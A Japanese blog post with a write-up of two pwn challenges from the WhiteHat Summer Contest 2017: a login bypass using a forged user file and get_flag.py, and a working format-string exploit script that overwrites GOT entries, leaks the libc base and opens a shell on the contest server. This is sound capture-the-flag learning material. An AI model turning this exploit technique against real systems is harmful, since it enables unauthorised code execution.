h_nosonの日記

競プロなど

WhiteHat Summer Contest 2017 Writeup

shpxで参加してました。 結果はpwnを2問解いて76位。

Writeup

Da Lat city (Pwnable 100)

ELF 32-bit、動的リンク、canaryとNX有効。

% file cheatme
cheatme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bacaba723fdbcbf8b2d685afb00795a2e6bedf78, stripped
% gdb -q cheatme
Reading symbols from cheatme...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

初めにuser名が聞かれる。これはuser.txtから取ってきた文字列と比較しているだけなので(ローカルでは)簡単に抜けられる。

% echo "hoge" > user.txt
% ./cheatme
foo              _   _                _   _           _           _
             /\        | | | |              | | (_)         | |         | |
            /  \  _   _| |_| |__   ___ _ __ | |_ _  ___ __ _| |_ ___  __| |
           / /\ \| | | | __| '_ \ / _ | '_ \| __| |/ __/ _` | __/ _ \/ _` |
          / ____ | |_| | |_| | | |  __| | | | |_| | (_| (_| | ||  __| (_| |
         /_/    \_\__,_|\__|_| |_|\___|_| |_|\__|_|\___\__,_|\__\___|\__,_|

|       Enter user     :  hoge
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       Enter Password :

パスワードはgdbで見ていくとContestChallenge-で始まり5文字からなる数値で終わる文字列であるとわかる。最終的には入力のハッシュのようなものを計算して0~15のどれかの数値にしてから8と比較している。なので数値を適当に試せば16分の1の確率でパスワードも突破できる(ここはリモートでも同じ)。パスワードが認証されると./get_flag.pyが実行される。
問題はサーバ上のuser.txtが見れないためuser名がわからないところだが、ファイルの読み込みはすべて相対パスで行われているので自分でuser.txtなどを作っても正常に動かすことができる。

cheatme@pwnssh14-01-contest13:~$ mkdir -p /tmp/hoge/problem/login
cheatme@pwnssh14-01-contest13:~$ cd /tmp/hoge/problem/login/
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ echo "hoge" > user.txt
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ ln -s /home/cheatme/problem/login/get_flag.py get_flag.py
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ /home/cheatme/problem/login/cheatme
|       Enter user     :  hoge
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       Enter Password :  ContestChallenge-12296
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       You can read file flag.txt???
|       Loading File: ...                Goodluck!!!. Don't give up!

                                  oooo$$$$$$$$$$$$oooo
                              oo$$$$$$$$$$$$$$$$$$$$$$$$o
                           oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o          o$   $$ o$
           o $ oo        o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o        $$ $$ $$o$
        oo $ $ "$      o$$$$$$$$$    $$$$$$$$$$$$$    $$$$$$$$$o        $$$o$$o$
        "$$$$$$o$     o$$$$$$$$$      $$$$$$$$$$$      $$$$$$$$$$o     $$$$$$$$
          $$$$$$$    $$$$$$$$$$$      $$$$$$$$$$$      $$$$$$$$$$$$$  $$$$$$$$$$
          $$$$$$$$$$$$$$$$$$$$$$$    $$$$$$$$$$$$$    $$$$$$$$$$$$$$  "'"$$$
           "$$$"'""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     "$$$
            $$$   o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     "$$$o
           o$$"   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$       $$$o
           $$$    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" "$$$$$$ooooo$$$$o
          o$$$oooo$$$$$  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$   o$$$$$$$$$$$$$$$$$
          $$$$$$$$"$$$$   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     $$$$""'""'""
         "'""       $$$$    "$$$$$$$$$$$$$$$$$$$$$$$$$$$$"      o$$$
                    "$$$o     "'"$$$$$$$$$$$$$$$$$$"$$"         $$$
                      $$$o          "$$""$$$$$$"'""           o$$$
                       $$$$o                                o$$$"
                        "$$$$o      o$$$$$$o"$$$$o        o$$$$
                          "$$$$$oo     ""$$$$o$$$$$o   o$$$$""
                             ""$$$$$oooo  "$$$o$$$$$$$$$"'"
                                ""$$$$$$$oo $$$$$$$$$$
                                        "'"$$$$$$$$$$$
                                            $$$$$$$$$$$$
                                             $$$$$$$$$$"
                                              "$$$"'""

   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

get_flag.pyにシンボリックリンクを貼って実行してみたら馬鹿にされてしまった。しかしget_flag.pyは自分で作ればいい。

#!/usr/bin/env python

if __name__ == '__main__':
    with open("/home/cheatme/problem/login/flag.txt","r") as f:
        print f.read()
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ chmod +x get_flag.py
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ /home/cheatme/problem/login/cheatme
|       Enter user     :  hoge
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       Enter Password :  ContestChallenge-12296
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       You can read file flag.txt???
|       Loading File: ...Life is trying things to see if they work.

   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

よってフラグは

% echo -n "Life is trying things to see if they work." | sha1sum
a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e  -
WhiteHat{a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e}

Mui Ne

ELF 32-bit、動的リンク、canaryとNX有効。

% file fomat_me
fomat_me: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bcdcd688ea5cc831304ff1a8b3f8d456c6669f04, not stripped
% gdb -q fomat_me
Reading symbols from fomat_me...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

入力した文字列を繰り返すプログラム。fsb脆弱性がある。

% ./fomat_me
echo aaa
aaa
% ./fomat_me
echo %p
(nil)

printfをした後に関数はstack_chk_failしかないが、わざとスタックバッファオーバーフローを起こして__stack_chk_failを呼ばせればいい。

% objdump -d -M intel fomat_me
...
 8048585:       e8 36 fe ff ff          call   80483c0 <printf@plt>
 804858a:       83 c4 10                add    esp,0x10
 804858d:       b8 00 00 00 00          mov    eax,0x0
 8048592:       8b 55 f4                mov    edx,DWORD PTR [ebp-0xc]
 8048595:       65 33 15 14 00 00 00    xor    edx,DWORD PTR gs:0x14
 804859c:       74 05                   je     80485a3 <main+0x88>
 804859e:       e8 3d fe ff ff          call   80483e0 <__stack_chk_fail@plt>
 80485a3:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 80485a6:       c9                      leave
 80485a7:       8d 61 fc                lea    esp,[ecx-0x4]
 80485aa:       c3                      ret
...

1回目のprintfでstack_chk_failをmainの先頭に戻すと同時にlibc_baseをleakして、2回目のprintfでprintfをsystemに書き換え、3回目のprintf(systemになっている)に"/bin/sh"を渡してシェルを起動させる。 下のコードではstack_chk_failを、1回目はmainの先頭、2回目はgetsの直前にしているが、こうしなくてはいけない原因はわからない。(初めからgetsの直前にもってくればよさそうだけどうまくいかなかった)
ローカルではシェルを動かすことができたが、サーバのlibcとバージョンが違ったため、その差を埋めるのがとても時間がかかった。libcのバージョンは、あらかじめprintfなどのアドレスをleakさせておいてから

github.com

を使うとわかる(助けていただいたチームメイトに圧倒的感謝!)。

#!/usr/bin/env python
from ppapwn import *
import sys

if __name__ == '__main__':
    stack_chk_got = 0x804a014
    printf_got = 0x804a00c
    gets_got = 0x804a010
    main = 0x804851b
    main2 = 0x804856c

    if len(sys.argv) == 1:
        s = Local(["./fomat_me"])
        printf_offset = 0x49020
        system_offset = 0x3a940
    else:
        s = Remote("formatme.wargame.whitehat.vn",1337)
        printf_offset = 0x49670
        system_offset = 0x3ada0

    payload = ""
    payload += p32(stack_chk_got)
    payload += p32(stack_chk_got+2)
    payload += p32(printf_got)
    payload += "%" + str(u32(p32(main)[0:2]) - 12) + "x"
    payload += "%7$hn"
    payload += "%" + str((u32(p32(main)[2:4]) - u32(p32(main)[0:2])) & 0xffff) + "x"
    payload += "%8$hn"
    payload += "leak:%9$s"
    payload += "A" * 0x50
    s.sendline(payload)
    s.recvuntil("leak:")
    libc_base = u32(s.recv(4)) - printf_offset
    print "[*] libc base is at", hex(libc_base)

    system_addr = libc_base + system_offset
    payload = ""
    payload += p32(printf_got)
    payload += p32(printf_got+2)
    payload += p32(stack_chk_got)
    payload += p32(stack_chk_got+2)
    payload += "%" + str(u32(p32(system_addr)[0:2]) - 16) + "x"
    payload += "%7$hn"
    payload += "%" + str((u32(p32(system_addr)[2:4]) - u32(p32(system_addr)[0:2])) & 0xffff) + "x"
    payload += "%8$hn"
    payload += "%" + str((u32(p32(main2)[0:2]) - u32(p32(system_addr)[2:4])) & 0xffff) + "x"
    payload += "%9$hn"
    payload += "%" + str((u32(p32(main2)[2:4]) - u32(p32(main2)[0:2])) & 0xffff) + "x"
    payload += "%10$hn"
    payload += "A" * 0x50
    payload += "hoge"
    s.sendline(payload)
    s.recvuntil("hoge")
    s.sendline("/bin/sh")
    s.interact()
% ./exploit.py remote
[*] libc base is at 0xf75c3000
[*] Switching to interactive mode

$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
my_ssh_key
my_ssl_key
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ whoami
format_me
$ cd /home/format_me
$ ls
flag
format_meb1946ac92492d2347c6235b4d2611184
$ cat flag
%n_was_a_good_idea?

よってフラグは

% echo -n "%n_was_a_good_idea?" | sha1sum
196841c60f4408dd151af3ce7f4dc84f9583cc7a  -
WhiteHat{196841c60f4408dd151af3ce7f4dc84f9583cc7a}

感想

調べる力の無さを痛感した。